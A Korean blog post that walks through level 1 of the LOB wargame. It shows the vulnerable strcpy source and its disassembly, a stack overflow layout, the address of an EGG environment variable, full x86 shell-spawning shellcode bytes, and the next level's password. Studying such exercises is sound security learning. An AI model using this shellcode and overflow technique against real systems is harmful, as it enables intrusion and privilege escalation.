thumbnail
cd ..
root@blog:~/posts/ 202210

FTZ LOB LEVEL 1

#KOR#pwn
2022.10.11.

0. 들어가기 전에

이거이거 드디어 본방이라고 할 수 있는 FTZ LOB의 시작이다!

사실 이것 제외하고도 본격적인 CTF 실습을 위해 Hack The Box를 병행하고 있지만, 이건 저작권 관련해서 자세하게 공략글을 쓸 수는 없다. 그래도 공부하는 기법들(대부분 웹 해킹)에 대해서는 꾸준히 업로드 해보려고 한다.

1. Level 1 : Gate -> Gremlin

LOB부터는 딱히 힌트는 제공되지 않는다. 그래도 소스코드야 볼 수 있으니 이미 FTZ에서 익숙해진 우리라면 충분히 해결할 수 있을 것이다.

그런 의미에서 소스코드를 살펴보면, 딱히 어렵지 않다!

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

첫 문제라 그런가, 딱히 FTZ과의 차이를 모르겠다. 아주 간단하게 오버플로우를 할 수 있는 구조이다.

0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,0x100
0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    %esp,4
0x804844c <main+28>:    push   0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    %esp,4
0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:    add    %eax,4
0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    %eax,[%ebp-256]
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    %esp,8
0x804846e <main+62>:    lea    %eax,[%ebp-256]
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   0x80484ec

ebp-256시점에 배열이 다 채워지고 딱히 더미 데이터는 없는 것으로 보인다. 따라서 SFP 4바이트만큼을 더해주고 EGG를 등록한 후 EGG의 주소를 확인하여 입력해주면 된다.

혹시 EGG가 뭔지 모른다면, 내 블로그의 다음 글을 확인해보자!

EGG의 주소: 0xbffffed4

따라서 쉘 코드:

256 + sfp4 + ret4 => NOP * 260 + ret4(shellcode)
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

비밀번호 : hello bof world


Source

[ comments ]